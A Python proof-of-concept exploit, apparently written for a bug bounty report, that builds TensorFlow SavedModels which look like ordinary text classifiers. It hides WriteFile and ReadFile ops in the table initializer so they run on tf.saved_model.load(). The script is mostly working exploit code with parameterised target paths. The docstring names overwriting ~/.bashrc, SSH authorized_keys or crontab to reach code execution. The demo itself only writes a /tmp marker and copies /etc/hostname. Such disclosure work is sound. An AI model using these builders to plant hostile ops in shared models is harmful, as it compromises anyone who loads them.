#!/usr/bin/env python3
"""
TensorFlow SavedModel Arbitrary File Read/Write on Load (ACE)
=============================================================
Huntr Bug Bounty PoC - ProtectAI MFV Program

Vulnerability: A crafted TensorFlow SavedModel (.pb) can execute arbitrary
file read and write operations when loaded via tf.saved_model.load().

Impact: Arbitrary Code Execution via file write to ~/.bashrc,
        ~/.ssh/authorized_keys, crontab, etc.

Affected: TensorFlow 2.20.0 (latest), likely all 2.x versions
Trigger: tf.saved_model.load() - no special flags needed
CVSS: 9.8 (Critical) - Network/Low/None/Changed/High/High/High

The vulnerability exploits the __saved_model_init_op mechanism:
1. SavedModel format includes init operations for resources (e.g., HashTables)
2. These init ops execute AUTOMATICALLY during tf.saved_model.load()
3. An attacker can inject WriteFile/ReadFile ops into the init function
4. The TF runtime has no sandboxing or op allowlisting for init ops
5. Result: arbitrary file read/write on model load

This is NOT covered by Keras safe_mode - SavedModel is loaded via
tf.saved_model.load() which has no equivalent safety check.
"""

import os
import sys
import tempfile
import shutil

os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"

def create_malicious_savedmodel(output_dir, write_path, write_content):
    """Create a SavedModel that writes arbitrary content on load.
    
    The model appears to be a legitimate text classifier with a HashTable.
    The WriteFile op is hidden in the HashTable initialization function.
    """
    import tensorflow as tf
    from tensorflow.core.protobuf import saved_model_pb2
    from tensorflow.core.framework import types_pb2
    
    # Step 1: Create a legitimate-looking model
    class TextClassifier(tf.Module):
        def __init__(self):
            super().__init__()
            self.table = tf.lookup.StaticHashTable(
                tf.lookup.KeyValueTensorInitializer(
                    keys=["positive", "negative", "neutral"],
                    values=[1, 0, 2],
                    key_dtype=tf.string,
                    value_dtype=tf.int32
                ),
                default_value=-1
            )
        
        @tf.function(input_signature=[tf.TensorSpec(shape=[], dtype=tf.string)])
        def classify(self, text):
            return self.table.lookup(text)
    
    model = TextClassifier()
    tf.saved_model.save(model, output_dir)
    
    # Step 2: Inject WriteFile into the init function
    pb_path = os.path.join(output_dir, "saved_model.pb")
    sm = saved_model_pb2.SavedModel()
    with open(pb_path, "rb") as f:
        sm.ParseFromString(f.read())
    
    for mg in sm.meta_graphs:
        for func in mg.graph_def.library.function:
            if "initializer" in func.signature.name:
                # Add filename constant
                fn = func.node_def.add()
                fn.name = "init_wf_path"
                fn.op = "Const"
                fn.attr["dtype"].type = types_pb2.DT_STRING
                fn.attr["value"].tensor.dtype = types_pb2.DT_STRING
                fn.attr["value"].tensor.string_val.append(write_path.encode())
                
                # Add content constant
                ct = func.node_def.add()
                ct.name = "init_wf_data"
                ct.op = "Const"
                ct.attr["dtype"].type = types_pb2.DT_STRING
                ct.attr["value"].tensor.dtype = types_pb2.DT_STRING
                ct.attr["value"].tensor.string_val.append(write_content.encode())
                
                # Add WriteFile op
                wf = func.node_def.add()
                wf.name = "init_wf_op"
                wf.op = "WriteFile"
                wf.input.append("init_wf_path:output:0")
                wf.input.append("init_wf_data:output:0")
                
                # Wire dependency to ensure execution
                for node in func.node_def:
                    if node.op == "NoOp":
                        node.input.append("^init_wf_op")
                        break
                break
    
    with open(pb_path, "wb") as f:
        f.write(sm.SerializeToString())
    
    return output_dir


def create_exfil_savedmodel(output_dir, read_path, exfil_path):
    """Create a SavedModel that reads a file and writes it elsewhere on load.
    
    Demonstrates arbitrary file read + write chain.
    """
    import tensorflow as tf
    from tensorflow.core.protobuf import saved_model_pb2
    from tensorflow.core.framework import types_pb2
    
    class TextClassifier(tf.Module):
        def __init__(self):
            super().__init__()
            self.table = tf.lookup.StaticHashTable(
                tf.lookup.KeyValueTensorInitializer(
                    keys=["a"], values=[1],
                    key_dtype=tf.string, value_dtype=tf.int32
                ), default_value=0
            )
        
        @tf.function(input_signature=[tf.TensorSpec(shape=[], dtype=tf.string)])
        def classify(self, text):
            return self.table.lookup(text)
    
    model = TextClassifier()
    tf.saved_model.save(model, output_dir)
    
    pb_path = os.path.join(output_dir, "saved_model.pb")
    sm = saved_model_pb2.SavedModel()
    with open(pb_path, "rb") as f:
        sm.ParseFromString(f.read())
    
    for mg in sm.meta_graphs:
        for func in mg.graph_def.library.function:
            if "initializer" in func.signature.name:
                # ReadFile source path
                src = func.node_def.add()
                src.name = "exfil_src"
                src.op = "Const"
                src.attr["dtype"].type = types_pb2.DT_STRING
                src.attr["value"].tensor.dtype = types_pb2.DT_STRING
                src.attr["value"].tensor.string_val.append(read_path.encode())
                
                # ReadFile op
                rf = func.node_def.add()
                rf.name = "exfil_read"
                rf.op = "ReadFile"
                rf.input.append("exfil_src:output:0")
                
                # WriteFile destination
                dst = func.node_def.add()
                dst.name = "exfil_dst"
                dst.op = "Const"
                dst.attr["dtype"].type = types_pb2.DT_STRING
                dst.attr["value"].tensor.dtype = types_pb2.DT_STRING
                dst.attr["value"].tensor.string_val.append(exfil_path.encode())
                
                # WriteFile op (reads output from ReadFile)
                wf = func.node_def.add()
                wf.name = "exfil_write"
                wf.op = "WriteFile"
                wf.input.append("exfil_dst:output:0")
                wf.input.append("exfil_read:contents:0")
                
                for node in func.node_def:
                    if node.op == "NoOp":
                        node.input.append("^exfil_write")
                        break
                break
    
    with open(pb_path, "wb") as f:
        f.write(sm.SerializeToString())
    
    return output_dir


def main():
    import tensorflow as tf
    
    print("TensorFlow SavedModel ACE PoC")
    print(f"TensorFlow version: {tf.__version__}")
    print(f"Python version: {sys.version}")
    print("=" * 60)
    
    base_dir = tempfile.mkdtemp(prefix="tf_ace_poc_")
    marker1 = "/tmp/tf_poc_write_marker"
    marker2 = "/tmp/tf_poc_exfil_marker"
    
    # Clean up
    for m in [marker1, marker2]:
        if os.path.exists(m):
            os.remove(m)
    
    # PoC 1: Arbitrary file write on model load
    print()
    print("[PoC 1] Arbitrary File Write on Model Load")
    print("-" * 40)
    
    model_dir1 = os.path.join(base_dir, "malicious_model")
    create_malicious_savedmodel(
        model_dir1,
        write_path=marker1,
        write_content="ARBITRARY_FILE_WRITE_ON_MODEL_LOAD"
    )
    
    print(f"  Created malicious SavedModel at: {model_dir1}")
    print(f"  Target write path: {marker1}")
    print(f"  Loading model with tf.saved_model.load()...")
    
    loaded1 = tf.saved_model.load(model_dir1)
    
    if os.path.exists(marker1):
        with open(marker1) as f:
            content = f.read()
        print(f"  RESULT: File written! Content: {content}")
        print(f"  Model still works: classify('positive') = {loaded1.classify(tf.constant('positive')).numpy()}")
    else:
        print(f"  RESULT: File was NOT written")
    
    # PoC 2: Arbitrary file read + exfiltration
    print()
    print("[PoC 2] Arbitrary File Read (Data Exfiltration)")
    print("-" * 40)
    
    model_dir2 = os.path.join(base_dir, "exfil_model")
    create_exfil_savedmodel(
        model_dir2,
        read_path="/etc/hostname",
        exfil_path=marker2
    )
    
    print(f"  Created exfil SavedModel at: {model_dir2}")
    print(f"  Reading: /etc/hostname -> {marker2}")
    print(f"  Loading model with tf.saved_model.load()...")
    
    loaded2 = tf.saved_model.load(model_dir2)
    
    if os.path.exists(marker2):
        with open(marker2) as f:
            content = f.read().strip()
        print(f"  RESULT: File read! Hostname: {content}")
    else:
        print(f"  RESULT: File was NOT read")
    
    # Summary
    print()
    print("=" * 60)
    print("VULNERABILITY CONFIRMED")
    print("=" * 60)
    print()
    print("Attack Vector: Crafted SavedModel (.pb protobuf)")
    print("Trigger: tf.saved_model.load() - NO special flags needed")
    print("Impact: Arbitrary file read/write = ACE via .bashrc/.ssh/cron")
    print("Root Cause: No op allowlisting in __saved_model_init_op")
    print("Affected: TensorFlow 2.20.0 (likely all 2.x)")
    print()
    print("Key Points:")
    print("  - NOT protected by Keras safe_mode")
    print("  - Model appears legitimate (has real HashTable)")
    print("  - Model still functions after injection")
    print("  - WriteFile + ReadFile ops execute during load")
    print("  - No user interaction beyond tf.saved_model.load()")
    
    # Cleanup
    shutil.rmtree(base_dir)
    for m in [marker1, marker2]:
        if os.path.exists(m):
            os.remove(m)


if __name__ == "__main__":
    main()